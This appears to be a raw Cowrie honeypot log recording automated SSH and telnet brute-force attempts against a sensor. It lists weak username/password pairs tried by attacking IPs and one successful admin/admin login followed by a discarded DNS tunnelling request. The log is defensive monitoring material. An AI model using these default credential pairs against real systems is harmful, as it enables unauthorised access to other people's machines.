{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:25.898149Z","src_ip":"45.153.34.114","session":"dd68ec044dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":53904,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b869f276c17","protocol":"ssh","message":"New connection: 80.94.92.182:53904 (10.17.0.5:22) [session: 0b869f276c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:25.966717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:26.087742Z","src_ip":"80.94.92.182","session":"0b869f276c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:26.160946Z","src_ip":"45.153.34.114","session":"dd68ec044dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:26.272970Z","src_ip":"80.94.92.182","session":"0b869f276c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:27.229137Z","src_ip":"80.94.92.182","session":"0b869f276c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:27.252510Z","src_ip":"45.153.34.114","session":"dd68ec044dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:28.503437Z","src_ip":"80.94.92.182","session":"0b869f276c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34466,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a3ca59b1660","protocol":"ssh","message":"New connection: 45.153.34.114:34466 (159.203.135.109:22) [session: 2a3ca59b1660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:33.767828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:33.773420Z","src_ip":"45.153.34.114","session":"2a3ca59b1660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:33.875329Z","src_ip":"45.153.34.114","session":"2a3ca59b1660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:34.128444Z","src_ip":"45.153.34.114","session":"2a3ca59b1660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:35.215457Z","src_ip":"45.153.34.114","session":"2a3ca59b1660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":47330,"dst_ip":"159.203.135.109","dst_port":22,"session":"721cebcf5a25","protocol":"ssh","message":"New connection: 103.75.199.4:47330 (159.203.135.109:22) [session: 721cebcf5a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:37.747400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:37.752124Z","src_ip":"103.75.199.4","session":"721cebcf5a25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:37.844971Z","src_ip":"103.75.199.4","session":"721cebcf5a25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:38.125094Z","src_ip":"103.75.199.4","session":"721cebcf5a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:39.219828Z","src_ip":"103.75.199.4","session":"721cebcf5a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.014925003051758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:40.411053Z","src_ip":"209.113.173.34","session":"22ab5a5978b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41858,"dst_ip":"159.203.135.109","dst_port":22,"session":"edb087be1187","protocol":"ssh","message":"New connection: 45.153.34.114:41858 (159.203.135.109:22) [session: edb087be1187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:41.897144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:41.908211Z","src_ip":"45.153.34.114","session":"edb087be1187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:41.989137Z","src_ip":"45.153.34.114","session":"edb087be1187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:42.326359Z","src_ip":"45.153.34.114","session":"edb087be1187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:43.412688Z","src_ip":"45.153.34.114","session":"edb087be1187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44366,"dst_ip":"159.203.135.109","dst_port":22,"session":"526222269cd5","protocol":"ssh","message":"New connection: 45.153.34.114:44366 (159.203.135.109:22) [session: 526222269cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:50.236202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:50.240346Z","src_ip":"45.153.34.114","session":"526222269cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":56630,"dst_ip":"159.203.135.109","dst_port":23,"session":"483b39ee0a69","protocol":"telnet","message":"New connection: 74.91.213.120:56630 (159.203.135.109:23) [session: 483b39ee0a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:50.287301Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:50.326265Z","src_ip":"45.153.34.114","session":"526222269cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:50.584421Z","src_ip":"45.153.34.114","session":"526222269cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":56646,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac36b81bd66","protocol":"telnet","message":"New connection: 74.91.213.120:56646 (159.203.135.109:23) [session: aac36b81bd66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:50.802420Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:51.680696Z","src_ip":"45.153.34.114","session":"526222269cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.54111623764038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:53.612608Z","src_ip":"74.91.213.120","session":"636bbe94440c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64348,"dst_ip":"10.17.0.5","dst_port":22,"session":"c57e784d1788","protocol":"ssh","message":"New connection: 87.251.64.176:64348 (10.17.0.5:22) [session: c57e784d1788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:56.952471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:56.957152Z","src_ip":"87.251.64.176","session":"c57e784d1788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:57.053989Z","src_ip":"87.251.64.176","session":"c57e784d1788","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:57.344817Z","src_ip":"87.251.64.176","session":"c57e784d1788","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:57.448185Z","session":"c57e784d1788","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:57.547152Z","src_ip":"87.251.64.176","session":"c57e784d1788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:57.647186Z","src_ip":"87.251.64.176","session":"c57e784d1788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44398,"dst_ip":"159.203.135.109","dst_port":22,"session":"050913ed9e6a","protocol":"ssh","message":"New connection: 45.153.34.114:44398 (159.203.135.109:22) [session: 050913ed9e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:58.135462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:58.139690Z","src_ip":"45.153.34.114","session":"050913ed9e6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:58.224812Z","src_ip":"45.153.34.114","session":"050913ed9e6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:58.482105Z","src_ip":"45.153.34.114","session":"050913ed9e6a","protocol":"ssh"}
